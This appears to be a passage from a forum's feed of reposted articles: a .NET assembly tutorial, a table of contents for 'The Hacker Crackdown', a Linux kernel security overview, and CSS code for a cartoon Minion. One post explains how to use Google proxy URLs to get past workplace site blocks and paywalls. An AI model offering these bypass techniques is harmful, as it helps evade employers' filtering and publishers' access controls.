internal CIL is compiled using the Just0in-time (JIT) compiler, as per to platform and CPU specific instructions. Understanding the grammar of CIL code can be helpful when you are building complex application but unfortunately most .NET developers don’t need to be deeply concerned with the details of CIL code. Windows File Header The windows file header determines how the Windows family of operating systems can load and manipulate an assembly. The headers also identify the kind of application such as *.dll, console or GUI applications, to be hosted by windows. You can view the assembly header information using the dumpbin.exe utility as following: Dumpbin /headers *.dll/*.exe CLR File Header The CLR header is a block of data that all .NET assemblies must support in order to be hosted by the CLR. They are typically defined as – numerous flags that enables the runtime to understand the layout of the managed code. We can view such diverse flags using again, dumpbin.exe /clrheader flag as the following: Metadata The .NET runtime practices metadata to resolve the location of types within the binary. An assembly metadata comprehensively describes the format of the contained types, as well as the format of external type references. If you press the Ctrl +M keystroke combination, idasm.exe display the metadata for each type within the DLL file assembly as shown below: Manifest The assembly manifest documents each module within the assembly, establishes the version and acknowledges the external reference assemblies with its dependencies. The Assembly manifest is a significant part of an assembly, and can be composed in the following parts as; Identity It includes version, name, culture and public key details. Set of Permissions This portion displays the necessary permissions to run an assembly. List of Files It lists all files belonging to a single file or multiple file assemblies. External reference Assemblies The manifest also documents the external reference files that are needed to run an assembly. We can explore the assembly manifest using the ildasm.exe utility as following; Now, open the CSharpTest.dll manifest by double –clicking the MANIFEST icon. The first code block specifies all external assemblies such as mscorlib.dll required by the current assembly to function correctly. Here, each .assembly external block is qualified by the .publickeytoken and .ver directive as following: Typically, these setting can be configured manually which resides in the solution AssemblyInfo.cs file as: using System.Reflection;using System.Runtime.CompilerServices; using System.Runtime.InteropServices; [assembly: AssemblyTitle("CsharpTest")] [assembly: AssemblyDescription("")] [assembly: AssemblyConfiguration("")] [assembly: AssemblyCompany("")] [assembly: AssemblyProduct("CsharpTest")] [assembly: AssemblyCopyright("Copyright © 2013")] [assembly: AssemblyTrademark("")] [assembly: AssemblyCulture("")] [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM [assembly: Guid("2fcf6717-f595-4216-bb93-f6590e37b3e5")] [assembly: AssemblyVersion("1.0.0.0")] [assembly: AssemblyFileVersion("1.0.0.0")] Resources Finally, a .NET assembly may contain a number of embedded resources, such as picture files, application icons, sound file and culture information (satellite assemblies in order to build international software). Summary This article drilled down into the details of how the CLR resolves the location of external reference assemblies. We began by exploring the disadvantage of existing COM technology, and examined the content within an assembly such as CIL code, header, metadata, manifest and resources. We have also come to understand the distinction between the single file and multi-file assembly. This article also focuses the benefits of modules and assembly in depth. Later, we will also explore the more advance topics related to assembly. Sursa: .NET Assembly Programming
  8. Puneti mana pe carte sau: Timesnewroman.ro - Cotidian independent de umor voluntar - ?Au început admiterile: 6 pe un loc la McDonalds, 13 pe un loc la Dristor Kebab
  9. The Hacker Crackdown Law and Disorder on the Electronic Frontier Bruce Sterling bruces@well.sf.ca.us [*] Translated to HTML by Bryan O'Sullivan (bos@scrg.cs.tcd.ie). Contents Preface to the Electronic Release of The Hacker Crackdown Chronology of the Hacker Crackdown Introduction Part 1: Crashing the System A Brief History of Telephony / Bell's Golden Vaporware / Universal Service / Wild Boys and Wire Women / The Electronic Communities / The Ungentle Giant / The Breakup / In Defense of the System / The Crash PostMortem / Landslides in Cyberspace Part 2: The Digital Underground Steal This Phone / Phreaking and Hacking / The View From Under the Floorboards / Boards: Core of the Underground / Phile Phun / The Rake's Progress / Strongholds of the Elite / Sting Boards / Hot Potatoes / War on the Legion / Terminus / Phile 9-1-1 / War Games / Real Cyberpunk Part 3: Law and Order Crooked Boards / The World's Biggest Hacker Bust / Teach Them a Lesson / The U.S. Secret Service / The Secret Service Battles the Boodlers / A Walk Downtown / FCIC: The Cutting-Edge Mess / Cyberspace Rangers / FLETC: Training the Hacker-Trackers Part 4: The Civil Libertarians NuPrometheus + FBI = Grateful Dead / Whole Earth + Computer Revolution = WELL / Phiber Runs Underground and Acid Spikes the Well / The Trial of Knight Lightning / Shadowhawk Plummets to Earth / Kyrie in the Confessional / $79,499 / A Scholar Investigates / Computers, Freedom, and Privacy Electronic Afterword to The Hacker Crackdown Sursa: The Hacker Crackdown Info: The Hacker Crackdown - Wikipedia, the free encyclopedia
  10. Nytro

    Fun stuff

  11. Use Google as a Proxy Server to Bypass Paywalls, Download Files If you have trouble accessing a web page either because the website is blocked at your workplace, or because that page happens to be behind a paywall, there are a couple of undocumented Google proxy servers that may help you read that page. When you access any page via one of these Google proxies, the content of that page gets downloaded on Google servers and then served to you. The lesser-known gmodules.com proxy, discussed later, will even allow you to download documents, videos and other web files that are otherwise blocked. 1. Google Translate as a Proxy To use Google Translate as a proxy, set the destination language as the actual language of the page and the source language as anything but the destination language. For instance, if you are to access a page written in English, set the destination language (tl) in the translate URL as “en” and the source language (sl) as “ja” for Japanese. (example) http://translate.google.com/translate?sl=ja&tl=en&u=http://example.com/ Advantage: This is the most popular Google proxy and the download web pages looks exactly like the original provided the domains serving the images and CSS aren’t blocked at your place. 2. Google Mobilizer as a Proxy Next in the list is Google’s Mobilizer service. Google has discontinued the main mobilizer service on google.com (secure) but you can still access it through any country-specific Google domain like google.co.in or google.ie. The URL would be: http://www.google.ie/gwt/x?u=http://example.com/ (example) Advantage: The presentation (CSS) isn’t retained but this mode is perfect for reading text-heavy pages and do have the option of disabling inline images for faster loading. 3. Google Modules as a Proxy The gmodules.com domain is part of the Google personalized homepage service and is primarily used for hosting gadgets that are available for the Google homepage. http://www.gmodules.com/ig/proxy?url=http://example.com/ (example) Advantage: This is the only Google proxy that will let you download files (like PDFs, .MP4 videos, etc) in addition to viewing regular web pages. Finally, if none of the above proxies work, you can always check the Google Cache or create your proxy server using either this Google Script or the more advanced Google App Engine. Sursa: How to Use Google as a Proxy Server
  12. Overview of Linux Kernel Security Features Thursday, 11 July 2013 10:00 administrator Editor's Note: This is a guest post from James Morris, the Linux kernel security subsystem maintainer and manager of the mainline Linux kernel development team at Oracle. In this article, we'll take a high-level look at the security features of the Linux kernel. We'll start with a brief overview of traditional Unix security, and the rationale for extending that for Linux, then we'll discuss the Linux security extensions. Unix Security – Discretionary Access Control Linux was initially developed as a clone of the Unix operating system in the early 1990s. As such, it inherits the core Unix security model—a form of Discretionary Access Control (DAC). The security features of the Linux kernel have evolved significantly to meet modern requirements, although Unix DAC remains as the core model. Briefly, Unix DAC allows the owner of an object (such as a file) to set the security policy for that object—which is why it's called a discretionary scheme. As a user, you can, for example, create a new file in your home directory and decide who else may read or write the file. This policy is implemented as permission bits attached to the file's inode, which may be set by the owner of the file. Permissions for accessing the file, such as read and write, may be set separately for the owner, a specific group, and other (i.e. everyone else). This is a relatively simple form of access control lists (ACLs). Programs launched by a user run with all of the rights of that user, whether they need them or not. There is also a superuser—an all-powerful entity which bypasses Unix DAC policy for the purpose of managing the system. Running a program as the superuser provides that program with all rights on the system. Extending Unix Security Unix DAC is a relatively simple security scheme, although, designed in 1969, it does not meet all of the needs of security in the Internet age. It does not adequately protect against buggy or misconfigured software, for example, which may be exploited by an attacker seeking unauthorized access to resources. Privileged applications, those running as the superuser (by design or otherwise), are particularly risky in this respect. Once compromised, they can provide full system access to an attacker. Functional requirements for security have also evolved over time. For example, many users require finer-grained policy than Unix DAC provides, and to control access to resources not covered by Unix DAC such as network packet flows. It's worth noting that a critical design constraint for integrating new security features into the Linux kernel is that existing applications must not be broken. This is general constraint imposed by Linus for all new features. The option of designing a totally new security system from the ground up is not available—new features have to be retrofitted and compatible with the existing design of the system. In practical terms, this has meant that we end up with a collection of security enhancements rather than a monolithic security architecture. We'll now take a look at the major Linux security extensions. Extended DAC Several of the first extensions to the Linux security model were to enhancements of existing Unix DAC features. The proprietary Unix systems of the time had typically evolved their own security enhancements, often very similarly to each other, and there were some (failed) efforts to standardize these. POSIX ACLs POSIX Access Control Lists for Linux are based on a draft POSIX standard. They extend the abbreviated Unix DAC ACLs to a much finer-grained scheme, allowing separate permissions for individual users and different groups. They're managed with the setfacl and getfacl commands. The ACLs are managed on disk via extended attributes, an extensible mechanism for storing metadata with files. POSIX Capabilities POSIX Capabilities are similarly based on a draft standard. The aim of this feature is to break up the power of the superuser, so that an application requiring some privilege does not get all privileges. The application runs with one or more coarse-grained privileges, such as CAP_NET_ADMIN for managing network facilities. Capabilities for programs may be managed with the setcap and getcap utilities. It's possible to reduce the number of setuid applications on the system by assigning specific capabilities to them, however, some capabilities are very coarse-grained and effectively provide a great deal of privilege. Namespaces Namespaces in Linux derive from the Plan 9 operating system (the successor research project to Unix). It's a lightweight form of partitioning resources as seen by processes, so that they may, for example, have their own view of filesystem mounts or even the process table. This is not primarily a security feature, but is useful for implementing security. One example is where each process can be launched with its own, private /tmp directory, invisible to other processes, and which works seamlessly with existing application code, to eliminate an entire class of security threats. The potential security applications are diverse. Linux Namespaces have been used to help implement multi-level security, where files are labeled with security classifications, and potentially entirely hidden from users without an appropriate security clearance. On many systems, namespaces are configured via Pluggable Authentication Modules (PAM)--see the pam_namespace(8) man page. Network Security Linux has a very comprehensive and capable networking stack, supporting many protocols and features. Linux can be used both as an endpoint node on a network, and also as a router, passing traffic between interfaces according to networking policies. Netfilter is an IP network layer framework which hooks packets which pass into, through and from the system. Kernel-level modules may hook into this framework to examine packets and make security decisions about them. iptables is one such module, which implements an IPv4 firewalling scheme, managed via the userland iptables tool. Access control rules for IPv4 packets are installed into the kernel, and each packet must pass these rules to proceed through the networking stack. Also implemented in this codebase is stateful packet inspection and Network Access Translation (NAT). Firewalling is similarly implemented for IPv6. ebtables provides filtering at the link layer, and is used to implement access control for Linux bridges, while arptables provides filtering of ARP packets. The networking stack also includes an implementation of IPsec, which provides confidentiality, authenticity, and integrity protection of IP networking. It can be used to implement VPNs, and also point to point security. Cryptography A cryptographic API is provided for use by kernel subsystems. It provides support for a wide range of cryptographic algorithms and operating modes, including commonly deployed ciphers, hash functions, and limited support for asymmetric cryptography. There are synchronous and asynchronous interfaces, the latter being useful for supporting cryptographic hardware, which offloads processing from general CPUs. Support for hardware-based cryptographic features is growing, and several algorithms have optimized assembler implementations on common architectures. A key management subsystem is provided for managing cryptographic keys within the kernel. Kernel users of the cryptographic API include the IPsec code, disk encryption schemes including ecryptfs and dm-crypt, and kernel module signature verification. Linux Security Modules The Linux Security Modules (LSM) API implements hooks at all security-critical points within the kernel. A user of the framework (an “LSM”) can register with the API and receive callbacks from these hooks. All security-relevant information is safely passed to the LSM, avoiding race conditions, and the LSM may deny the operation. This is similar to the Netfilter hook-based API, although applied to the general kernel. The LSM API allows different security models to be plugged into the kernel—typically access control frameworks. To ensure compatibility with existing applications, the LSM hooks are placed so that the Unix DAC checks are performed first, and only if they succeed, is LSM code invoked. The following LSMs have been incorporated into the mainline Linux kernel: SELinux Security Enhanced Linux (SELinux) is an implementation of fine-grained Mandatory Access Control (MAC) designed to meet a wide range of security requirements, from general purpose use, through to government and military systems which manage classified information. MAC security differs from DAC in that the security policy is administered centrally, and users do not administer policy for their own resources. This helps contain attacks which exploit userland software bugs and misconfiguration. In SELinux, all objects on the system, such as files and processes, are assigned security labels. All security-relevant interactions between entities on the system are hooked by LSM and passed to the SELinux module, which consults its security policy to determine whether the operation should continue. The SELinux security policy is loaded from userland, and may be modified to meet a range of different security goals. Many previous MAC schemes had fixed policies, which limited their application to general purpose computing. SELinux is implemented as a standard feature in Fedora-based distributions, and widely deployed. Smack The Smack LSM was designed to provide a simple form of MAC security, in response to the relative complexity of SELinux. It's also implemented as a label-based scheme with a customizable policy. Smack is part of the Tizen security architecture and has seen adoption generally in the embedded space. AppArmor AppArmor is a MAC scheme for confining applications, and was designed to be simple to manage. Policy is configured as application profiles using familiar Unix-style abstractions such as pathnames. It is fundamentally different to SELinux and Smack in that instead of direct labeling of objects, security policy is applied to pathnames. AppArmor also features a learning mode, where the security behavior of an application is observed and converted automatically into a security profile. AppArmor is shipped with Ubuntu and OpenSUSE, and is also widely deployed. TOMOYO The TOMOYO module is another MAC scheme which implements path-based security rather than object labeling. It's also aimed at simplicity, by utilizing a learning mode similar to AppArmor's where the behavior of the system is observed for the purpose of generating security policy. What's different about TOMOYO is that what's recorded are trees of process invocation, described as “domains”. For example, when the system boots, from init, as series of tasks are invoked which lead to a logged in user running a shell, and ultimately executing a command, say ping. This particular chain of tasks is recorded as a valid domain for the execution of that application, and other invocations which have not been recorded are denied. TOMOYO is intended for end users rather than system administrators, although it has not yet seen any appreciable adoption. Yama The Yama LSM is not an access control scheme like those described above. It's where miscellaneous DAC security enhancements are collected, typically from external projects such as grsecurity. Currently, enhanced restrictions on ptrace are implemented in Yama, and the module may be stacked with other LSMs in a similar manner to the capabilities module. Audit The Linux kernel features a comprehensive audit subsystem, which was designed to meet government certification requirements, but also actually turns out to be useful. LSMs and other security components utilize the kernel Audit API. The userland components are extensible and highly configurable. Audit logs are useful for analyzing system behavior, and may help detect attempts at compromising the system. Seccomp Secure computing mode (seccomp) is a mechanism which restricts access to system calls by processes. The idea is to reduce the attack surface of the kernel by preventing applications from entering system calls they don't need. The system call API is a wide gateway to the kernel, and as with all code, there have and are likely to be bugs present somewhere. Given the privileged nature of the kernel, bugs in system calls are potential avenues of attack. If an application only needs to use a limited number of system calls, then restricting it to only being able to invoke those calls reduces the overall risk of a successful attack. The original seccomp code, also known as “mode 1”, provided access to only four system calls: read, write, exit, and sigreturn. These are the minimum required for a useful application, and this was intended to be used to run untrusted code on otherwise idle systems. A recent update to the code allows for arbitrary specification of which system calls are permitted for a process, and integration with audit logging. This “mode 2” seccomp was developed for use as part of the Google Chrome OS. Integrity Management The kernel's integrity management subsystem may be used to maintain the integrity of files on the system. The Integrity Measurement Architecture (IMA) component performs runtime integrity measurements of files using cryptographic hashes, comparing them with a list of valid hashes. The list itself may be verified via an aggregate hash stored in the TPM. Measurements performed by IMA may be logged via the audit subsystem, and also used for remote attestation, where an external system verifies their correctness. IMA may also be used for local integrity enforcement via the Appraisal extension. Valid measured hashes of files are stored as extended attributes with the files, and subsequently checked on access. These extended attributes (as well as other security-related extended attributes), are protected against offline attack by the Extended Verification Module(EVM) component, ideally in conjunction with the TPM. If a file has been modified, IMA may be configured via policy to deny access to the file. The Digital Signature extension allows IMA to verify the authenticity of files in addition to integrity by checking RSA-signed measurement hashes. A simpler approach to integrity management is the dm-verity module. This is a device mapper target which manages file integrity at the block level. It's intended to be used as part of a verified boot process, where an appropriately authorized caller brings a device online, say, a trusted partition containing kernel modules to be loaded later. The integrity of those modules will be transparently verified block by block as they are read from disk. Hardening and Platform Security Hardening techniques have been applied at various levels, including in the build chain and in software, to help reduce the risk of system compromise. Address Space Layout Randomization (ASLR) places various memory areas of a userland executable in random locations, which helps prevent certain classes of attacks. This was adapted from the external PaX/grsecurity projects, along with several other software-based hardening features. The Linux kernel also supports hardware security features where available, such as NX, VT-d, the TPM, TXT, and SMAP, along with cryptographic processing as previously mentioned. Summary We've covered, at a very high-level, how Linux kernel security has evolved from its Unix roots, adapting to ever-changing security requirements. These requirements have been driven both by external changes, such as the continued growth of the Internet and the increasing value of information stored online, as well as the increasing scope of the Linux user base. Ensuring that the security features of the Linux kernel continue to meet such a wide variety of requirements in a changing landscape is an ongoing and challenging process. James Morris is the Linux kernel security subsystem maintainer. He is the author of sVirt (virtualization security), multi-category security, the kernel cryptographic API, and has contributed to the SELinux, Netfilter and IPsec projects. He works for Oracle as manager of the mainline Linux kernel development team, from his base in Sydney, Australia. Follow James on https://blogs.oracle.com/linuxkernel/. Sursa: https://www.linux.com/learn/docs/727873-overview-of-linux-kernel-security-features
  13. [h=1]Pure CSS Minion (Superman Mode)[/h] <!-- Pure CSS Minion, just a little bit of js to toggle the Superman class. @author Ezequiel Calvo <ezecafre@gmail.com> Follow me @EzequielCalvo Hashtag #CSSDrawing #Minion Nice to have: - Wave on the coat. - Animation when changing the clothes. --> <section class="content" id="target"> <ul class="hair hair-left"> <li></li> <li></li> <li></li> <li></li> </ul> <ul class="hair hair-right"> <li></li> <li></li> <li></li> <li></li> </ul> <div class="body"> <div class="glasses"> <span class="band band-left"></span> <span class="band band-right"></span> <div class="glass"> <div class="iris iris-left"> <div class="shine"></div> </div> </div> <div class="glass"> <div class="iris iris-right"> <div class="shine"></div> </div> </div> </div> </div> <div class="mouth"> <ul class="teeth"> <li></li> <li></li> <li></li> <li></li> </ul> </div> <div class="pants"> <div class="belt belt-left"></div> <div class="belt belt-right"></div> </div> <div class="super-pants"> <div class="symbol"> <div class="s-first-part"></div> <div class="s-second-part"></div> </div> </div> <div class="arm arm-left"> <div class="hand"> <ul class="fingers fingers-left"> <li class="finger"></li> <li class="finger"></li> <li class="finger"></li> </ul> </div> </div> <div class="arm arm-right"> <div class="hand"> <ul class="fingers fingers-right"> <li class="finger"></li> <li class="finger"></li> </ul> </div> </div> <div class="legs"> <div class="leg"></div> <div class="leg"></div> </div> <div class="shoes shoes-left"></div> <div class="shoes shoes-right"></div> <div class="coat"></div> </section> <button class="btn">Superman Mode ON!</button> <script class="cssdeck" src="//cdnjs.cloudflare.com/ajax/libs/jquery/1.8.0/jquery.min.js"></script> /** * Minion Pure CSS * * @author Ezequiel Calvo <ezecafre@gmail.com> * Follow me @EzequielCalvo * Hashtag #CSSDrawing #Minion */ .btn { position: absolute; top: 10px; left: 10px; border: 0; padding: 5px 10px; border: 1px solid #c0392b; border-radius: 2px; font-size: 0.95em; background: #e74c3c; color: #EEE; font-weight: 60; } .btn:hover { background: #c0392b; border: 1px solid #e74c3c; } .content { margin: 40px; } .body { width: 180px; height: 325px; margin: 0 auto; position:relative; z-index: 1; border-radius: 85px 85px 0 0; box-shadow: inset 0 -10px 10px 3px #cc9e24; background: #fcda6d; background: -webkit-gradient(linear, right top, left top,color-stop(61%, #fcda6d), color-stop(100%, #cc9e24)); background: -webkit-linear-gradient(right, #fcda6d 67%,#cc9e24 100%); background: -moz-linear-gradient(right, #fcda6d 67%,#cc9e24 100%); background: -ms-linear-gradient(right, #fcda6d 67%,#cc9e24 100%); background: -o-linear-gradient(right, #fcda6d 67%,#cc9e24 100%); background: linear-gradient(to right, #fcda6d 67%,#cc9e24 100%); } .hair { padding: 0; } .hair li { position: absolute; top: -1px; left: 50%; z-index: 2; list-style: none; height: 45px; width: 5px; border: 2px solid #555; border-radius: 140%; margin: 10px; } .hair-left li { border-left: none; border-bottom: none; } .hair-right li { border-right: none; border-bottom: none; } .hair-left li:nth-child(1) { margin: 20px 0 0 -60px; transform: rotate(-20deg); } .hair-left li:nth-child(2) { height: 30px; margin: 45px 0 0 -75px; transform: rotate(-50deg); } .hair-left li:nth-child(3) { height: 36px; margin: 15px 0 0 -35px; transform: rotate(-10deg); } .hair-left li:nth-child(4) { height: 26px; margin: 35px 0 0 -13px; transform: rotate(-20deg); } .hair-right li:nth-child(1) { margin: 23px 0 0 60px; transform: rotate(20deg); } .hair-right li:nth-child(2) { height: 30px; margin: 45px 0 0 75px; transform: rotate(50deg); } .hair-right li:nth-child(3) { height: 36px; margin: 15px 0 0 35px; transform: rotate(10deg); } .hair-right li:nth-child(4) { height: 34px; margin: 20px 0 0 13px; transform: rotate(20deg); } .band, .band-right:before, .band-left:before { height: 10px; width: 17px; position: relative; display: block; border-radius: 3px; background: #222; box-shadow: 0 1px 5px 0px #222; } .band-right { top: 89px; left: 168px; transform: rotate(5deg); } .band-left { top: 96px; left: -5px; transform: rotate(-5deg); } .band-left:before { content: ""; display: block; top: 10px; background: #333; } .band-right:before { content: ""; display: block; top: 10px; background: #333; } .glasses { width: 180px; } .glass { width: 85px; height: 85px; float: left; margin: 40px 0 0 10px; border-radius: 110px; background: linear-gradient(#989697, #696371); box-shadow: 4px 6px 9px 3px #c48e00; box-shadow: inset 0 -2px 2px #5d4b3d , inset -1px 1px 3px 1px #fff , 1px 5px 7px -1px #c48e00; } .glass:before { content: ""; display: block; width: 65px; height: 65px; border-radius: 70px; position:relative; top: 10px; left: 10px; background: #fcda6d; box-shadow: inset 0 2px 4px 1px #5d4b3d ; } .glass:after { width: 63px; height:50px; content: ""; display: block; border-radius: 70px; position: relative; top: -73px; left: 11px; background: #FFF; /* Old browsers */ background: -webkit-gradient(linear,left bottom,right top,color-stop(0.54, #FFF), color-stop(0.91, #AAA)); background: -webkit-linear-gradient(left bottom,right top, #FFF 54%,#AAA 91%); background: -moz-linear-gradient(left bottom,right top, #FFF 54%,#AAA 91%); background: -ms-linear-gradient(left bottom,right top, #FFF 54%,#AAA 91%); background: -o-linear-gradient(left bottom,right top, #FFF 54%,#AAA 91%); background: linear-gradient(to left bottom, #FFF 53%,#AAA 91%); -webkit-animation: eyes 4s infinite step-start 0s; -moz-animation: eyes 4s infinite step-start 0s; -ms-animation: eyes 4s infinite step-start 0s; -o-animation: eyes 4s infinite step-start 0s; animation: eyes 4s infinite step-start 0s; } .glass:last-child { margin-left: -9px; } .iris { width: 23px; height: 23px; position: relative; top: -30px; z-index: 10; border: 1px solid #222; border-radius: 50%; background: #000; box-shadow: inset -2px -2px 5px 2px #222, inset 2px 2px 1px 2px #7e4d49; background: -webkit-radial-gradient(center, ellipse cover, #000 25%, #6f4a2d 34%, #c79067 44%, #6f4a2d 50%); background: -moz-radial-gradient(center, ellipse cover, #000 25%, #6f4a2d 34%, #c79067 44%, #6f4a2d 50%); -webkit-animation: iris 4s infinite step-start 0s; -moz-animation: iris 4s infinite step-start 0s; -ms-animation: iris 4s infinite step-start 0s; -o-animation: iris 4s infinite step-start 0s; animation: iris 4s infinite step-start 0s; } .iris-left { left: 38px; } .iris-right { left: 23px; } .iris:before { width: 5px; height: 5px; content: ""; display: block; position: relative; z-index: 11; top: 4px; left: 4px; border-radius: 50%; box-shadow: 0 0 5px 2px #FFF; background: #FFF; } .mouth { width: 70px; height: 30px; margin: 0 auto; position: relative; z-index: 2; top: -155px; border-bottom-left-radius: 50px; border-bottom-right-radius: 50px; border: 0; overflow: hidden; background: #222; background: -webkit-gradient(linear, 0 0, 0 100%, from(#222), color-stop(0.79, #bd736a)); background: -webkit-linear-gradient(#222, #bd736a 99%); background: -moz-linear-gradient(#222, #bd736a 99%); background: -o-linear-gradient(#222, #bd736a 99%); background: linear-gradient(#222, #bd736a 99%); } .mouth:after { content: ""; display:block; position: relative; top: -50px; left: -21px; width: 120px; height: 40px; border-radius: 50%; background: #FCDA6D; box-shadow: inset 0 0 3px 1px #957b43; /*-webkit-animation: mouth 7s infinite step-start 1s; -moz-animation: mouth 7s infinite step-start 1s; -ms-animation: mouth 7s infinite step-start 1s; -o-animation: mouth 7s infinite step-start 1s; animation: mouth 7s infinite step-start 1s;*/ } .teeth { width: 90px; position: relative; top: -19px; padding: 0 5px; } .teeth li { width: 16px; height: 15px; list-style: none; display: block; float: left; z-index: 1; border-radius: 6px; background: #ccccc2; box-shadow: inset 0 -1px 1px 1px #FFF, inset -1px 0 1px 0px #F45; } .teeth li:first-child { height: 12px; } .teeth li:last-child { height: 12px; } .pants { width: 180px; height: 50px; margin: 0 auto; position: relative; z-index: 2; top: -58px; border-radius: 2px 2px 25px 25px; background: #146696; background: -webkit-linear-gradient(left, #146696 67%,#115278 100%); border: 2px dotted #1f4362; box-shadow: inset 1px -10px 10px 2px #1a364d, 0 0 2px 2px #2e5f88; } .pants:before { width: 120px; height: 60px; content: ""; display: block; position: relative; top: -50px; left: 40px; border: 2px dotted #1f4362; border-bottom: 0; border-radius: 10px; background: #146696; background-image: -webkit-gradient(linear, left, color-stop(67%, #146696), color-stop(100%, #115278)); background-image: -webkit-linear-gradient(left, #146696 67%, #115278 100%); background-image: -moz-linear-gradient(left, #146696 67%, #115278 100%); background-image: -ms-linear-gradient(left, #146696 67%, #115278 100%); background-image: -o-linear-gradient(left, #146696 67%, #115278 100%); background-image: linear-gradient(left, #146696 67%, #115278 100%); box-shadow: 0 -3px 2px 2px #2e5f88; } .belt { width: 15px; height: 75px; background: #146696; box-shadow: inset 1px 10px 10px 2px #1a364d; position: relative; } .belt:after { content: ""; display: block; width: 10px; height: 10px; border-radius: 50%; background: #223333; position: absolute; bottom: 5px; left: 2px; } .belt-left { top: -160px; left: 18px; border: 2px dotted #1f4362; border-top-left-radius: 25px; -webkit-transform: rotate(-55deg); -moz-transform: rotate(-55deg); -ms-transform: rotate(-55deg); -o-transform: rotate(-55deg); transform: rotate(-55deg); } .belt-right { height: 60px; top: -230px; left: 158px; border: 2px dotted #1F4362; border-top-right-radius: 25px; -webkit-transform: rotate(35deg); -moz-transform: rotate(35deg); -ms-transform: rotate(35deg); -o-transform: rotate(35deg); transform: rotate(35deg); } .arm { width: 20px; height: 100px; margin: 0 auto; position: relative; z-index: 2; border-radius: 10px; background: #FFD449; } .arm-right { z-index: 1; height: 115px; top: -410px; left: 95px; box-shadow: inset 0 10px 10px 3px #D5970E; -webkit-transform: rotate(-10deg); -moz-transform: rotate(-10deg); -ms-transform: rotate(-10deg); -o-transform: rotate(-10deg); transform: rotate(-10deg); } .arm-left { top: -290px; left: -104px; -webkit-transform: rotate(10deg); -moz-transform: rotate(10deg); -ms-transform: rotate(10deg); -o-transform: rotate(10deg); transform: rotate(10deg); } .arm-left:before { content: ""; display: block; width: 21px; height: 40px; position: relative; top: -18px; border-radius: 50%; background: #FFD449; -webkit-transform: rotate(10deg); -moz-transform: rotate(10deg); -ms-transform: rotate(10deg); -o-transform: rotate(10deg); transform: rotate(10deg); } .arm-left:after, .arm-right:after { content: ""; display: block; width: 22px; height: 20px; position: relative; border-radius: 6px; background: #FFD449; } .arm-left:after { z-index: 3; top: -14px; -webkit-transform: rotate(-15deg); -moz-transform: rotate(-15deg); -ms-transform: rotate(-15deg); -o-transform: rotate(-15deg); transform: rotate(-15deg); } .arm-right:after { z-index: 3; top: 55px; left: -2px; box-shadow: inset -3px -6px 5px 1px #D5970E; -webkit-transform: rotate(15deg); -moz-transform: rotate(15deg); -ms-transform: rotate(15deg); -o-transform: rotate(15deg); transform: rotate(15deg); } .hand { height: 40px; width: 35px; position: relative; z-index: 1; top: 35px; left: 0; border-radius: 30%; box-shadow: inset 0 -2px 10px 5px #222; background: #333; -webkit-transform: rotate(-20deg); -moz-transform: rotate(-20deg); -ms-transform: rotate(-20deg); -o-transform: rotate(-20deg); transform: rotate(-20deg); } .hand:before { content: ""; display: block; position: relative; z-index: 1; top: -5px; left:-3px; width: 30px; height: 9px; background: #111; border: 5px solid #222; border-radius: 50%; box-shadow: 0 4px 1px 0 #444; } .hand:after { content: ""; display: block; position: relative; z-index: 1; top: -100px; left: 1px; width: 34px; height: 30px; background: #333; border-radius: 50%; box-shadow: inset 0 -10px 10px 5px #222; -webkit-transform: rotate(5deg); -moz-transform: rotate(5deg); -ms-transform: rotate(5deg); -o-transform: rotate(5deg); transform: rotate(5deg); } .fingers { list-style: none; position: relative; top: 10px; } .fingers li { border-radius: 10px; position: relative; background: #333; box-shadow: inset 0 -10px 10px 5px #222; } .fingers-right li:nth-child(1) { z-index: 2; width: 20px; height: 35px; top: -20px; left: -50px; border-right: 2px solid #000; -webkit-transform: rotate(50deg); -moz-transform: rotate(50deg); -ms-transform: rotate(50deg); -o-transform: rotate(50deg); transform: rotate(50deg); } .fingers-right li:nth-child(2) { z-index: 1; width: 20px; height: 30px; top: -50px; left: -40px; border-right: 2px solid #000; -webkit-transform: rotate(40deg); -moz-transform: rotate(40deg); -ms-transform: rotate(40deg); -o-transform: rotate(40deg); transform: rotate(40deg); } .fingers-left li:nth-child(1) { z-index: 2; width: 25px; height: 25px; top: -17px; left: -43px; border-right: 2px solid #000; border-radius: 30px; -webkit-transform: rotate(10deg); -moz-transform: rotate(10deg); -ms-transform: rotate(10deg); -o-transform: rotate(10deg); transform: rotate(10deg); } .fingers-left li:nth-child(2) { z-index: 1; width: 20px; height: 24px; top: -50px; left: -18px; border-right: 2px solid #000; -webkit-transform: rotate(-30deg); -moz-transform: rotate(-30deg); -ms-transform: rotate(-30deg); -o-transform: rotate(-30deg); transform: rotate(-30deg); } .fingers-left li:nth-child(3) { z-index: 1; width: 23px; height: 30px; top: -63px; left: -33px; border-right: 2px solid #000; -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); transform: rotate(0deg); } .arm-right .hand { top: 105px; left: -15px; transform: rotate(20deg); -webkit-transform: rotate(20deg); -moz-transform: rotate(20deg); -ms-transform: rotate(20deg); -o-transform: rotate(20deg); transform: rotate(20deg); } .arm-left .hand:after { height: 30px; width: 30px; left: 3px; top: -110px; } .legs { width: 120px; margin: 0 auto; } .leg { z-index: 1; width: 40px; height: 35px; display: inline-block; background: #146696; border-radius: 30%; position: relative; box-shadow: inset 1px 10px 10px 2px #222; top: -410px; left: 20px; } .shoes { z-index: 1; background: #222; margin: 0 auto; position: relative; box-shadow: inset -2px 1px 10px 1px #666; } .shoes-left { z-index: 0; width: 40px; height: 30px; top: -425px; left: -20px; border-radius: 20px; box-shadow: inset 0 -3px 3px 1px #999; } .shoes-right { z-index: 0; width: 50px; height: 20px; top: -452px; left: 30px; border-radius: 20px; border-right: 1px solid #000; box-shadow: inset -1px 1px 5px 1px #999; -webkit-transform: rotate(10deg); -moz-transform: rotate(10deg); -ms-transform: rotate(10deg); -o-transform: rotate(10deg); transform: rotate(10deg); } .shoes-right:after { content: ""; display: block; position: relative; width: 50px; height: 20px; top: -3px; border-bottom: 7px solid #111; border-radius: 20px; } .shoes-left:after { content: ""; display: block; position: relative; width: 40px; height: 20px; top: 5px; border-bottom: 7px solid #222; border-radius: 20px; } /* Superman Styles*/ .coat { width: 200px; height: 150px; margin: 0 auto; background: red; z-index: 0; position: relative; visibility: hidden; top: -625px; border-radius: 10px; box-shadow: inset 1px 2px 20px 4px #B32020, inset 0 -3px 20px 4px #222; left: -2px; } .superman .leg { background: #222; } .superman .coat { visibility: visible; } .superman .mouth { background: #fcda6d; } .superman .mouth:after { border-radius: 